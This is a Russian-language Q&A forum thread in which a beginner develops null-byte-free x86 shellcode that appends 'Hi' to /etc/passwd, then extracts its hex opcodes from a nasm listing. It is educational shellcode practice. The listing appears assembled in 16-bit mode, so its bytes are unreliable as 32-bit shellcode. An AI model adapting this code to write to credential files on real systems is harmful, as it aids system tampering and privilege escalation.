как отобразить шестнадцатеричное значение данного файла asm - PullRequest
0 голосов
/ 03 октября 2018

может быть глупым вопросом, но я новичок.Использование 32-битной операционной системы и написание ассемблерного кода для добавления строки «Привет» в файл / etc / passwd работает нормально, теперь я хочу получить соответствующий шестнадцатеричный код, пытаясь обнаружить плохой символ для построения шелл-кода.Построил исполняемый файл с помощью:

   nasm file.asm 
   ld file.o

и затем выполняя, я получаю строку 'Hi' в конце / etc / passwd.Это код сборки, который я хочу преобразовать, чтобы увидеть шестнадцатеричное значение:

section .text
global _start

_start:

    jmp two
one:
;open() write|append sys call
    pop ebx
    xor eax, eax
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
;write() sys call
    pop ecx
    xor eax, eax
    mov dl, 2
    mov al, 4
    int 0x80

;close() sys call
    mov al, 6
    int 0x80
;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwd", 0
four:
    call five
    db "Hi", 0

ОБНОВЛЕНИЕ: тот же результат с кодом ниже

section .text
global _start

_start:

    jmp two
one:
;open() write|append sys call
    pop ebx
    xor eax, eax
    mov [ebx+11], al        ; <--added now
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
;write() sys call
    pop ecx
    xor eax, eax
    mov [ecx+2], al      ; <--added now
    mov dl, 2
    mov al, 4
    int 0x80

;close() sys call
    mov al, 6
    int 0x80
;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwdX"     ; <--modified now
four:
    call five
    db "HiX"              ; <--modified now

новая предоставленная версия asm все еще работает и должна решитьпроблема NULL байта для строки, это правильно?

1 Ответ

0 голосов
/ 03 октября 2018

Да, на вопрос был дан ответ в первом комментарии, другие комментарии помогли мне улучшить код.Я бы показал все шаги от начала для лучшего понимания: это код ассемблера для добавления строки 'Hi' в / etc / passwd:

global _start

_start:

    jmp two
one:
    ;open() write|append sys call
    pop ebx
    xor eax, eax
    mov [ebx+11], al        
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
    ;write() sys call
    pop ecx
    xor eax, eax
    mov [ecx+2], al      
    mov dl, 2
    mov al, 4
    int 0x80

    ;close() sys call
    mov al, 6
    int 0x80
    ;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwdX"     
four:
    call five
    db "HiX"     

, а затем для генерации шестнадцатеричного кода, просто выполните как предложено:

 nasm -l output.txt file.asm

, затем откройте файл output.txt, и это покажет:

 1                                  global _start
 2
 3                                  _start:
 4
 5 00000000 EB32                            jmp two
 6                                  one:
 7 00000002 665B                            pop ebx
 8 00000004 6631C0                          xor eax, eax
 9 00000007 6788430B                        mov [ebx+11], al
10 0000000B 66B942040000                    mov ecx, 1090
11 00000011 B005                            mov al, 5
12 00000013 CD80                            int 0x80
13 00000015 6689C3                          mov ebx, eax
14
15 00000018 EB29                            jmp four
16
17                                  five:
18 0000001A 6659                            pop ecx
19 0000001C 6631C0                          xor eax, eax
20 0000001F 67884102                        mov [ecx+2], al
21 00000023 B202                            mov dl, 2
22 00000025 B004                            mov al, 4
23 00000027 CD80                            int 0x80
24
25 00000029 B006                            mov al, 6
26 0000002B CD80                            int 0x80
27
28 0000002D B001                            mov al, 1
29 0000002F 6631DB                          xor ebx, ebx
30 00000032 CD80                            int 0x80
31
32                                  two:
33 00000034 E8CBFF                          call one
34 00000037 2F6574632F70617373-             db "/etc/passwdX"
35 00000040 776458
36                                  four:
37 00000043 E8D4FF                          call five
38 00000046 486958                          db "HiX"          
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...